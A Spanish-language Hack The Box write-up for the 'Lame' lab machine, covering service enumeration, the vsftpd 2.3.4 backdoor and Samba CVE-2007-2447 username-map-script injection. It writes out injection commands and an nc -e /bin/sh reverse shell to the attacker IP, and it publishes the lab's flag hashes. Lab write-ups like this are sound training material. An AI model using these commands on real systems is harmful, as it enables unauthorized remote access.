Lame - HTB
Publicado el 30 de septiembre de 2025
Datos Generales de la máquina
Nombre de la máquina: Lame
IP: 10.129.186.199
Dificultad: Easy
Autor: ch4p
Fecha de publicación: 14 Mar, 2017
Fecha de inicio de solución: 18 Feb, 2025
Fecha de término de la solución: 18 Feb, 2025
Recursos útiles para la solución
Samba - Security Report - CVE-2007-2447: Remote Command Injection Vulnerability
Notas
Recopilación de información
![[image.png]]
OSINT
No aplica
Enumeración de Infraestructura
nmap -sn -PE 10.129.186.199
![[Pasted image 20250218080500.png]]
![[Pasted image 20250218080635.png]]
Debido al ttl asumimos que la máquina es Linux.
Enumeración de Servicios
Nmap
Primer escaneo TCP:
sudo nmap -sS -p- --min-rate 10000 -oA scans/alltcp 10.129.186.199
![[Pasted image 20250218084550.png]]
Primer escaneo UDP:
sudo nmap -sU -p- --min-rate 10000 -oA scans/alludp 10.129.186.199
![[Pasted image 20250218084708.png]]
Escaneo específico a puertos TCP abiertos:
sudo nmap -p 21,22,139,445,3632 -sV -sC -oA scans/tcpscripts 10.129.186.199
![[Pasted image 20250218085014.png]]
![[Pasted image 20250218085035.png]]
FTP (21)
Anonymous Login
Es posible ingresar al servicio ftpcon el usuario anonymous, no obstante el directorio al que accedemos está vacío:
![[Pasted image 20250218085603.png]]
Búsqueda de vulns conocidas para la versión vsftpd 2.3.4
searchsploit vsftpd 2.3.4
![[Pasted image 20250218085740.png]]
SSH (22)
Versión muy vieja Parece ser que la versión de ssh es muy vieja, podemos buscar su año de lanzamiento aquí.
![[Pasted image 20250218090139.png]]
Búsqueda de vulns conocidas para la versión openssh 4.7p1
searchsploit openssh 4.7p1
![[Pasted image 20250218090310.png]]
SMB - Samba (139 / 445)
Enumeración de Shares con smbmap
smbmap -H 10.129.186.199
![[Pasted image 20250218091124.png]]
Enumeración de Shares con smbclient
smbclient -N -L 10.129.186.199
![[Pasted image 20250218091333.png]]
Enumeración de Shares con netexec
netexec smb 10.129.186.199 -u '' -p '' --shares
![[Pasted image 20250218091705.png]]
Conexión a Share tmp con smbclient
smbclient -N //10.129.186.199/tmp
![[Pasted image 20250218092102.png]]
No parece haber nada interesante.
Búsqueda de vulns conocidas para la versión samba 3.0
searchsploit samba 3.0
![[Pasted image 20250218092322.png]]
El exploit Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) parece que podrá ser útil.
Enumeración de Hosts
No aplica
Análisis de Vulnerabilidades
![[image 1.png]]
Análisis descriptivo / Investigación de vulnerabilidades
Análisis de CVE-2011-2523 (vsftpd 2.3.4 - Backdoor Command Execution)
El artículo sobre esta vulnerabilidad de NVD, nos dice que esta versión contiene un backdoor que abre una shell en el puerto 6200/tcp.
Inspección de Exploit con searchsploit
searchsploit -m unix/remote/49757.py
![[Pasted image 20250218102432.png]]
![[Pasted image 20250218102809.png]]
Podemos ver que el exploit intenta establecer conexión con el puerto 21, espera a que aparezca el banner “vsFTPd 2.3.4”, posteriormente escribe el valor USER nergal:), espera a que aparezca el texto “password”, ahí escribe el valor PASS pass, posteriormente se intenta conectar al puerto 6200 para establecer conexión con el Backdoor.
Análisis de CVE-2007-2447 - (Remote Command Injection Vulnerability)
La vulnerabilidad CVE-2007-2447 en Samba permite la ejecución remota de comandos arbitrarios mediante la inyección de metacaracteres en funciones MS-RPC. Esto afecta la gestión de usuarios, impresoras y recursos compartidos, especialmente si la opción username map script está habilitada en smb.conf.
Inspección de Exploit con searchsploit
searchsploit -m unix/remote/16320.rb
![[Pasted image 20250218104642.png]]
![[Pasted image 20250218105740.png]] ![[Pasted image 20250218105832.png]] ![[Pasted image 20250218105813.png]]
Vemos que el contenido relevante se encuentra en la función exploit, donde inyecta un comando en el username de la siguiente manera:
username = "/=`nohup " + payload.encoded + "`"
Por lo que podríamos intentar conectarnos con smbclient y hacer la inyección de comandos en el usuario.
Explotación
![[image-2.png]]
Explotación de CVE-2011-2523 (vsftpd 2.3.4 - Backdoor Command Execution)
Podemos replicar el comportamiento del script con nc
- Conexión al puerto 21/tcp
nc 10.129.186.199 21
![[Pasted image 20250218103647.png]] 2. Dar valor de usuario
USER nergal:)
![[Pasted image 20250218103828.png]]
- Dar valor de password
PASS pass
![[Pasted image 20250218103904.png]]
- Conectar al puerto del backdoor
nc 10.129.186.199 6200
![[Pasted image 20250218104239.png]]
No está funcionando el backdoor.
Explotación de CVE-2007-2447 - (Remote Command Injection Vulnerability)
Inyectar comando de prueba
Intentaremos mandar el output del comando whoami con nc al puerto 443 de nuestra máquina atacante.
Puerto en escucha en máquina atacante
nc -lvnp 443
![[Pasted image 20250218113335.png]]
Intento de inyección
smbclient //10.129.186.199/tmp -U "/=`nohup whoami | nc 10.10.14.102 443`"
![[Pasted image 20250218113428.png]]
¿Qué escuchó el puerto? ![[Pasted image 20250218113420.png]]
El resultado no es el esperado, porque imprimió mi nombre de usuario, el interprete está ejecutando nohup whoami | nc 10.10.14.102 443 antes de enviar la conexión, intentemos lo mismo pero cambiando " por `
Puerto en escucha en máquina atacante
nc -lvnp 443
![[Pasted image 20250218113335.png]]
Intento de inyección
smbclient //10.129.186.199/tmp -U '/=`nohup whoami | nc 10.10.14.102 443`'
![[Pasted image 20250218114148.png]]
¿Qué escuchó el puerto?
![[Pasted image 20250218114156.png]]
Parece ser que está funcionando, haremos otra inyección de prueba mandando un ping de la máquina víctima a la atacante.
Escuchamos el tráfico ICMP en la máquina atacante
sudo tcpdump -i tun0 icmp
![[Pasted image 20250218114434.png]]
Inyectamos el ping en la máquina víctima
smbclient //10.129.186.199/tmp -U '/=`nohup ping -c1 10.10.14.102`'
![[Pasted image 20250218114511.png]]
Recibimos el ping
![[Pasted image 20250218114419.png]]
Inyectar shell inversa
Con nuestro primer comando de prueba nos percatamos que la máquina víctima tiene instalada la herramienta nc, por lo que podemos usar una shell inversa que la use.
Comando de acceso al sistema
smbclient //10.129.186.199/tmp -U '/=`nohup nc -e /bin/sh 10.10.14.102 443`'
Escuchamos en nuestra máquina atacante
nc -lvnp 443
![[Pasted image 20250218115124.png]]
Ejecutamos el comando con la shell inversa
smbclient //10.129.186.199/tmp -U '/=`nohup nc -e /bin/sh 10.10.14.102 443`'
![[Pasted image 20250218115420.png]]
Vemos que el comando se está ejecutando en mayusculas por alguna razón por lo que no está funcionando nuestra shell, de modo que tendremos que buscar otra shell inversa que funcione o buscar una alternativa que nos permita ingresar el comando en minúsculas.
Alternativa
Podemos ingresar al servicio smb como el usuario invitado y ya estando en el sistema podemos inyectar el comando mediante la opción logon.
Conexión como usuario invitado
smbclient //10.129.186.199/tmp -N
Cambiar de usuario con logon y hacer la inyección
logon "/=`nohup nc -e /bin/sh 10.10.14.102 443`"
![[Pasted image 20250218120507.png]]
Puerto en escucha
![[Pasted image 20250218120533.png]]
Podemos ver que se pudieron ejecutar los comandos ls y whoami y se obtuvo una shell como el usuario root
Post Explotación / Pillaging
![[image 2.png]]
Estabilización de la Shell
1️.- Verificar si Python está disponible en el sistema
Algunas técnicas de estabilización requieren Python. Para comprobar si está instalado, ejecuta:
which python
Si devuelve una ruta como /usr/bin/python, significa que está disponible.
![[Pasted image 20250218120950.png]]
2️.- Convertir la shell en una TTY interactiva
Si python está disponible, podemos generar una terminal más funcional con:
python -c 'import pty; pty.spawn("/bin/bash")'
Esto nos permite usar comandos como clear, autocompletar con Tab y moverse con las flechas.
![[Pasted image 20250218121232.png]]
3️.- Configurar el tipo de terminal
Definir TERM=xterm ayuda a que la shell reconozca correctamente los colores y ciertos comandos.
export TERM=xterm
![[Pasted image 20250218121311.png]]
4️.- Ajustar la terminal para mejorar el control de línea
Ejecutar este comando desactiva el “echo” y pone la terminal en modo crudo para que los caracteres se transmitan correctamente.
stty raw -echo
![[Pasted image 20250218121405.png]]
5️.- Ajustar el tamaño de la terminal desde la máquina atacante
En la máquina atacante, obtén el tamaño de tu terminal con:
stty size
Esto te devolverá dos valores (filas y columnas), que usaremos en el siguiente paso.
![[Pasted image 20250218121502.png]]
6️.- Aplicar el tamaño correcto de terminal en la máquina víctima
Primero, suspende la shell con CTRL + Z para volver a la terminal de la máquina atacante. Luego, configura el tamaño con los valores obtenidos en el paso anterior:
stty rows 37 cols 117
![[Pasted image 20250218121641.png]]
Después, vuelve a la shell reversa con:
fg
![[Pasted image 20250218121730.png]]
Persistencia
No aplica
Información del Sistema
No aplica
Inspección del Sistema de Archivos
No aplica
Procesos en Ejecución
No aplica
Aplicaciones Instaladas
No aplica
Scripts
No aplica
Usuarios y Grupos
No aplica
Red
No aplica
Jobs Programados
No aplica
Credenciales y Claves
No aplica
Escalada de Privilegios
No aplica
Movimiento Lateral
![[image-2 1.png]]
No aplica
PoC
No aplica
Botín
Hashes
No aplica
Passwords
No aplica
Otros
No aplica
Flags
User: ef5c1b235512cc6890aca33a25132d2d Root: 40162eb1cc6052f2daff5b5fbd625f2d